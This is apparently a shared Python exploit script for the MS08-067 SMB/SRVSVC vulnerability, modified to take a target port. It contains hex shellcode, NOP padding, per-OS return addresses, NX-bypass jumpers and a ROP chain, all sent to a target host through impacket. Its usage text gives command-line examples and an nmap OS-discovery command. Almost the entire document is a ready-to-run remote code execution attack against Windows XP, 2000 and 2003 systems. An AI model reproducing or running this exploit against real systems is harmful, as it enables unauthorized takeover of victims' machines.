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License: MIT License
Updating MS08-067 Python exploit script
License: MIT License
#!/usr/bin/env python
import struct
import time
import sys
from threading import Thread # Thread is imported incase you would like to modify
try:
from impacket import smb
from impacket import uuid
#from impacket.dcerpc import dcerpc
from impacket.dcerpc.v5 import transport
except ImportError as _:
print('Install the following library to make this script work')
print('Impacket : https://github.com/CoreSecurity/impacket.git')
print('PyCrypto : https://pypi.python.org/pypi/pycrypto')
sys.exit(1)
print('#######################################################################')
print('# MS08-067 Exploit')
print('# This is a modified verion of Debasis Mohanty's code (https://www.exploit-db.com/exploits/7132/).')
print('# The return addresses and the ROP parts are ported from metasploit module exploit/windows/smb/ms08_067_netapi')
print('#')
print('# Mod in 2018 by Andy Acer:')
print('# - Added support for selecting a target port at the command line.')
print('# It seemed that only 445 was previously supported.')
print('# - Changed library calls to correctly establish a NetBIOS session for SMB transport')
print('# - Changed shellcode handling to allow for variable length shellcode. Just cut and paste')
print('# into this source file.')
print('#######################################################################\n')
shellcode=(
"\x31\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e"
"\x42\xf6\xc3\xef\x83\xee\xfc\xe2\xf4\xbe\x1e\x41\xef\x42\xf6"
"\xa3\x66\xa7\xc7\x03\x8b\xc9\xa6\xf3\x64\x10\xfa\x48\xbd\x56"
"\x7d\xb1\xc7\x4d\x41\x89\xc9\x73\x09\x6f\xd3\x23\x8a\xc1\xc3"
"\x62\x37\x0c\xe2\x43\x31\x21\x1d\x10\xa1\x48\xbd\x52\x7d\x89"
"\xd3\xc9\xba\xd2\x97\xa1\xbe\xc2\x3e\x13\x7d\x9a\xcf\x43\x25"
"\x48\xa6\x5a\x15\xf9\xa6\xc9\xc2\x48\xee\x94\xc7\x3c\x43\x83"
"\x39\xce\xee\x85\xce\x23\x9a\xb4\xf5\xbe\x17\x79\x8b\xe7\x9a"
"\xa6\xae\x48\xb7\x66\xf7\x10\x89\xc9\xfa\x88\x64\x1a\xea\xc2"
"\x3c\xc9\xf2\x48\xee\x92\x7f\x87\xcb\x66\xad\x98\x8e\x1b\xac"
"\x92\x10\xa2\xa9\x9c\xb5\xc9\xe4\x28\x62\x1f\x9e\xf0\xdd\x42"
"\xf6\xab\x98\x31\xc4\x9c\xbb\x2a\xba\xb4\xc9\x45\x09\x16\x57"
"\xd2\xf7\xc3\xef\x6b\x32\x97\xbf\x2a\xdf\x43\x84\x42\x09\x16"
"\xbf\x12\xa6\x93\xaf\x12\xb6\x93\x87\xa8\xf9\x1c\x0f\xbd\x23"
"\x54\x85\x47\x9e\xc9\xe4\x42\x6b\xab\xed\x42\x04\xf3\x66\xa4"
"\x9c\xd3\xb9\x15\x9e\x5a\x4a\x36\x97\x3c\x3a\xc7\x36\xb7\xe3"
"\xbd\xb8\xcb\x9a\xae\x9e\x33\x5a\xe0\xa0\x3c\x3a\x2a\x95\xae"
"\x8b\x42\x7f\x20\xb8\x15\xa1\xf2\x19\x28\xe4\x9a\xb9\xa0\x0b"
"\xa5\x28\x06\xd2\xff\xee\x43\x7b\x87\xcb\x52\x30\xc3\xab\x16"
"\xa6\x95\xb9\x14\xb0\x95\xa1\x14\xa0\x90\xb9\x2a\x8f\x0f\xd0"
"\xc4\x09\x16\x66\xa2\xb8\x95\xa9\xbd\xc6\xab\xe7\xc5\xeb\xa3"
"\x10\x97\x4d\x23\xf2\x68\xfc\xab\x49\xd7\x4b\x5e\x10\x97\xca"
"\xc5\x93\x48\x76\x38\x0f\x37\xf3\x78\xa8\x51\x84\xac\x85\x42"
"\xa5\x3c\x3a"
)
num_nops = 410 - len(shellcode)
newshellcode = "\x90" * num_nops
newshellcode += shellcode # Add NOPS to the front
shellcode = newshellcode # Switcheroo with the newshellcode temp variable
#print "Shellcode length: %s\n\n" % len(shellcode)
nonxjmper = "\x08\x04\x02\x00%s" + "A" * 4 + "%s" +
"A" * 42 + "\x90" * 8 + "\xeb\x62" + "A" * 10
disableNXjumper = "\x08\x04\x02\x00%s%s%s" + "A" *
28 + "%s" + "\xeb\x02" + "\x90" * 2 + "\xeb\x62"
ropjumper = "\x00\x08\x01\x00" + "%s" + "\x10\x01\x04\x01";
module_base = 0x6f880000
def generate_rop(rvas):
gadget1 = "\x90\x5a\x59\xc3"
gadget2 = ["\x90\x89\xc7\x83", "\xc7\x0c\x6a\x7f", "\x59\xf2\xa5\x90"]
gadget3 = "\xcc\x90\xeb\x5a"
ret = struct.pack('<L', 0x00018000)
ret += struct.pack('<L', rvas['call_HeapCreate'] + module_base)
ret += struct.pack('<L', 0x01040110)
ret += struct.pack('<L', 0x01010101)
ret += struct.pack('<L', 0x01010101)
ret += struct.pack('<L',
rvas['add eax, ebp / mov ecx, 0x59ffffa8 / ret'] + module_base)
ret += struct.pack('<L', rvas['pop ecx / ret'] + module_base)
ret += gadget1
ret += struct.pack('<L', rvas['mov [eax], ecx / ret'] + module_base)
ret += struct.pack('<L', rvas['jmp eax'] + module_base)
ret += gadget2[0]
ret += gadget2[1]
ret += struct.pack('<L', rvas[
'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret'] + module_base)
ret += struct.pack('<L', rvas['pop ecx / ret'] + module_base)
ret += gadget2[2]
ret += struct.pack('<L', rvas['mov [eax+0x10], ecx / ret'] + module_base)
ret += struct.pack('<L', rvas['add eax, 8 / ret'] + module_base)
ret += struct.pack('<L', rvas['jmp eax'] + module_base)
ret += gadget3
return ret
class SRVSVC_Exploit(Thread):
def init(self, target, os, port=445):
super(SRVSVC_Exploit, self).init()
# MODIFIED HERE
# Changed __port to port ... not sure if that does anything. I'm a newb.
self.port = port
self.target = target
self.os = os
def __DCEPacket(self):
if (self.os == '1'):
print('Windows XP SP0/SP1 Universal\n')
ret = "\x61\x13\x00\x01"
jumper = nonxjmper % (ret, ret)
elif (self.os == '2'):
print('Windows 2000 Universal\n')
ret = "\xb0\x1c\x1f\x00"
jumper = nonxjmper % (ret, ret)
elif (self.os == '3'):
print('Windows 2003 SP0 Universal\n')
ret = "\x9e\x12\x00\x01" # 0x01 00 12 9e
jumper = nonxjmper % (ret, ret)
elif (self.os == '4'):
print('Windows 2003 SP1 English\n')
ret_dec = "\x8c\x56\x90\x7c" # 0x7c 90 56 8c dec ESI, ret @SHELL32.DLL
ret_pop = "\xf4\x7c\xa2\x7c" # 0x 7c a2 7c f4 push ESI, pop EBP, ret @SHELL32.DLL
jmp_esp = "\xd3\xfe\x86\x7c" # 0x 7c 86 fe d3 jmp ESP @NTDLL.DLL
disable_nx = "\x13\xe4\x83\x7c" # 0x 7c 83 e4 13 NX disable @NTDLL.DLL
jumper = disableNXjumper % (
ret_dec * 6, ret_pop, disable_nx, jmp_esp * 2)
elif (self.os == '5'):
print('Windows XP SP3 French (NX)\n')
ret = "\x07\xf8\x5b\x59" # 0x59 5b f8 07
disable_nx = "\xc2\x17\x5c\x59" # 0x59 5c 17 c2
# the nonxjmper also work in this case.
jumper = nonxjmper % (disable_nx, ret)
elif (self.os == '6'):
print('Windows XP SP3 English (NX)\n')
ret = "\x07\xf8\x88\x6f" # 0x6f 88 f8 07
disable_nx = "\xc2\x17\x89\x6f" # 0x6f 89 17 c2
# the nonxjmper also work in this case.
jumper = nonxjmper % (disable_nx, ret)
elif (self.os == '7'):
print('Windows XP SP3 English (AlwaysOn NX)\n')
rvasets = {'call_HeapCreate': 0x21286, 'add eax, ebp / mov ecx, 0x59ffffa8 / ret': 0x2e796, 'pop ecx / ret': 0x2e796 + 6,
'mov [eax], ecx / ret': 0xd296, 'jmp eax': 0x19c6f, 'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret': 0x10a56, 'mov [eax+0x10], ecx / ret': 0x10a56 + 6, 'add eax, 8 / ret': 0x29c64}
# the nonxjmper also work in this case.
jumper = generate_rop(rvasets) + "AB"
else:
print('Not supported OS version\n')
sys.exit(-1)
print('[-]Initiating connection')
# MORE MODIFICATIONS HERE #############################################################################################
if (self.port == '445'):
self.__trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % self.target)
else:
# DCERPCTransportFactory doesn't call SMBTransport with necessary parameters. Calling directly here.
# *SMBSERVER is used to force the library to query the server for its NetBIOS name and use that to
# establish a NetBIOS Session. The NetBIOS session shows as NBSS in Wireshark.
self.__trans = transport.SMBTransport(remoteName='*SMBSERVER', remote_host='%s' % self.target, dstport = int(self.port), filename = '\\browser' )
self.__trans.connect()
print('[-]connected to ncacn_np:%s[\\pipe\\browser]' % self.target)
self.__dce = self.__trans.DCERPC_class(self.__trans)
self.__dce.bind(uuid.uuidtup_to_bin(
('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))
path = "\x5c\x00" + "ABCDEFGHIJ" * 10 + shellcode + "\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00" + \
"\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00" + jumper + "\x00" * 2
server = "\xde\xa4\x98\xc5\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x00\x00"
prefix = "\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5c\x00\x00\x00"
# NEW HOTNESS
# The Path Length and the "Actual Count" SMB parameter have to match. Path length in bytes
# is double the ActualCount field. MaxCount also seems to match. These fields in the SMB protocol
# store hex values in reverse byte order. So: 36 01 00 00 => 00 00 01 36 => 310. No idea why it's "doubled"
# from 310 to 620. 620 = 410 shellcode + extra stuff in the path.
MaxCount = "\x36\x01\x00\x00" # Decimal 310. => Path length of 620.
Offset = "\x00\x00\x00\x00"
ActualCount = "\x36\x01\x00\x00" # Decimal 310. => Path length of 620
self.__stub = server + MaxCount + Offset + ActualCount + \
path + "\xE8\x03\x00\x00" + prefix + "\x01\x10\x00\x00\x00\x00\x00\x00"
return
def run(self):
self.__DCEPacket()
self.__dce.call(0x1f, self.__stub)
time.sleep(3)
print('Exploit finish\n')
if name == 'main':
try:
target = sys.argv[1]
os = sys.argv[2]
port = sys.argv[3]
except IndexError:
print('\nUsage: %s <os #> <Port #>\n' % sys.argv[0])
print('Example: MS08_067_2018.py 192.168.1.1 1 445 -- for Windows XP SP0/SP1 Universal, port 445')
print('Example: MS08_067_2018.py 192.168.1.1 2 139 -- for Windows 2000 Universal, port 139 (445 could also be used)')
print('Example: MS08_067_2018.py 192.168.1.1 3 445 -- for Windows 2003 SP0 Universal')
print('Example: MS08_067_2018.py 192.168.1.1 4 445 -- for Windows 2003 SP1 English')
print('Example: MS08_067_2018.py 192.168.1.1 5 445 -- for Windows XP SP3 French (NX)')
print('Example: MS08_067_2018.py 192.168.1.1 6 445 -- for Windows XP SP3 English (NX)')
print('Example: MS08_067_2018.py 192.168.1.1 7 445 -- for Windows XP SP3 English (AlwaysOn NX)')
print('')
print('Also: nmap has a good OS discovery script that pairs well with this exploit:')
print('nmap -p 139,445 --script-args=unsafe=1 --script /usr/share/nmap/scripts/smb-os-discovery 192.168.1.1')
print('')
sys.exit(-1)
current = SRVSVC_Exploit(target, os, port)
current.start()
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